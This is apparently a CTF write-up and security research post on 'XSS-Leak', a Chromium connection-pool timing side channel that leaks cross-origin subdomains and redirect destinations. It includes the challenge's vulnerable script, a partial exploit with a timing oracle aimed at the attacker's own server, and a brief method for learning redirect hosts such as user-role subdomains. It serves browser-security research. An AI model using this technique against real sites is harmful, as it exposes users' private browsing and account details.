By : kaisec February 26, 2026

In this post, I will introduce XSS-Leak (“Cross-Site-Subdomain Leak”), a technique for Chromium-based browsers that leaks cross-origin redirects, fetch() destinations, and more. I use the name XSS-Leak because the original goal was to leak subdomains of cross-origin requests.

XSS-Leak

Challenge Overview

The challenge consists of a minimal Express app which exposes two routes:

  • /: serves a page with an inline script
  • /report: triggers a visit from a headless Chrome bot

The Vulnerable Route

<script nonce="<%= nonce %>">
const DOMAIN = "<%= DOMAIN %>";
const PORT = "<%= PORT %>";
const result = document.getElementById("result");
const toHex = s => [...new TextEncoder().encode(s)].map(b => b.toString(16).padStart(2,'0')).join('');

window.onhashchange = () => {
    let flag = localStorage.getItem("flag") || "flag{fake_flag_for_testing}";
    fetch(`http://\${toHex(flag)}.\${DOMAIN}:\${PORT}`)
        .finally(() => result.innerText = "request sent")
}
</script>

When location.hash changes, the page reads the flag from localStorage, hex-encodes it, and sends a request to a subdomain. The Content Security Policy (CSP) is strict, restricting network requests to *.${DOMAIN}:${PORT}.

Swimming In The Connection Pool

To solve this, we leverage Chrome’s connection pool. Chrome can run up to 256 concurrent requests across different origins, but only 6 in parallel to the same origin.

When two requests have the same priority, Chrome sorts them by port, then scheme, then host. Specifically, it prioritizes the host that is lexicographically lower.

Example: if request A targets http://google.com and request B targets http://example.com, http://example.com wins because example.com < google.com.

Exploit - Leaking Subdomains

We can use this quirk as an oracle. By sending a request to a test host and seeing which request “goes first”, we can detect whether our host comes before or after the challenge one alphabetically using a binary search.

const fetch_leak = async (qq, threshold) => {
    let start = performance.now();
    await fetch(`http://\${qq}FFFFFF.\${MYSERVER}/0?q=\${qq}`, { mode: 'no-cors', method: "HEAD" });
    return performance.now() - start > threshold;
}

async function test(leak, w, threshold){
    const charset = "0123456789ABCDEF";
    let lo = 0; hi = charset.length - 1;
    // ... binary search implementation ...
}

This technique allows us to leak the entire flag efficiently by observing timing differences caused by socket blocking and priority sorting.

Leaking Redirect Hosts

This technique also lets us leak where a redirect goes. For example, if a site redirects to different subdomains based on user roles (e.g., admin.test.com vs app.test.com), we can distinguish them in under two seconds!

By forcing a "race" between the pending redirect and our own frame navigation, we can determine the lexicographical order of the redirect destination.

Conclusion

This variant of the connection-pool exhaustion attack is powerful because it works cross-origin with no injection required. While reported to Google, it is currently considered "Working As Intended" (WAI) due to the fundamental nature of browser networking.

Flag: flag{gj2e4syr1ght?}